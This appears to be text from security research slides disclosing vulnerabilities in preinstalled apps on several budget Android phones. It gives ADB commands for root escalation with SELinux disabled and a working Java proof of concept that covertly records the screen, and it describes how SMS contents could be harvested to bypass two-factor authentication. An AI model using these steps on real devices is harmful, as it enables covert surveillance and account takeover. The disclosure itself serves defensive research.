Leagoo P1 - Android 7.0

- Take a screenshot and write to SD card
- Programmatic factory reset
- Local root privilege escalation via ADB

adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb root
adb shell setenforce 0
adb shell

Leagoo Z5C - Android 6.0

- Send arbitrary text messages
  - Modified `com.android.messaging` app
- Read the most recent text message from each conversation
  - Modified `com.android.messaging` app
- Programmatic factory reset
  - Modified `com.android.settings` app

Source: https://www.amazon.co.uk/LEAGOO-Z5C-Android-smartphone-1-3GHz/dp/B06X3QLCGY
Exposing Capability to Set System Properties

App named `com.qualcomm.qti.modemtestmode` allows any app to set certain properties as the `com.android.phone` user

- Presumably a development/debugging app that should not be included in production builds

```xml
<service android:exported="true" android:name=".MbnTestService"
        android:process="com.android.phone"/>
```

Bound service that takes key/value pair for system properties

- `android.os.SystemProperties.set(String, String)`

Setting properties is constrained by SELinux rules

- Works for `persist.*` properties which survive reboots
Vivo V7 (Non-US Carriers) Vulnerabilities

Dumps logcat, Bluetooth, and kernel logs to external storage
   – Leaves a notification while logging, but logging app cannot be disabled

Set properties as the `com.android.phone` user
   – Can enable screen touch coordinates to be written to the logcat log

Record the screen for 60 minutes to attacking app’s directory
   – A notification and icon appears but can be removed quickly
   – Can initiate screen-recording while screen is off to remove any disturbance on the screen

Source: [https://www.vivo.com/my/products/v7](https://www.vivo.com/my/products/v7)
Vivo V7 (Non-US Carriers) Vulnerabilities

The 60 minute interval is set by the `com.vivo.smartshot` app

- Screen recording is performed by the `/system/bin/smartshot` binary

```java
Intent i = new Intent();
i.setAction("vivo.action.ACTION_START_RECORD_SERVICE");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("vivo.flag.vedio_file_path", "/data/data/com.attacking.app/screen.mp4");
i.putExtra("show_top_stop_view", false);
startService(i);
try {
    Thread.sleep(500);
} catch (InterruptedException e) {
    e.printStackTrace();
}
i = new Intent();
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
stopService(i);
try {
    Thread.sleep(500);
} catch (InterruptedException e) {
    e.printStackTrace();
}
i = new Intent("vivo.acton.ACTION_CHANGE_TOP_STOP_VIEW");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("show_top_stop_view", false);
startService(i);
```

Starts recording

Removes notification

Ensures at least one app component is running in the app, so it is less likely to get killed

Requires changing permissions on the directory and file
Orbic Wonder (Unlocked) Vulnerabilities

Exposes sensitive functionality to any app on the device
– Wipe all user data (factory reset)
– Continuously monitor the logcat log to obtain
  • GPS coordinates
  • Email addresses
  • Unique device identifiers
  • Body of incoming/outgoing text messages
  • Phone numbers for incoming/outgoing calls and text messages

Vulnerabilities can be used to bypass two-factor authentication and obtain password resets texts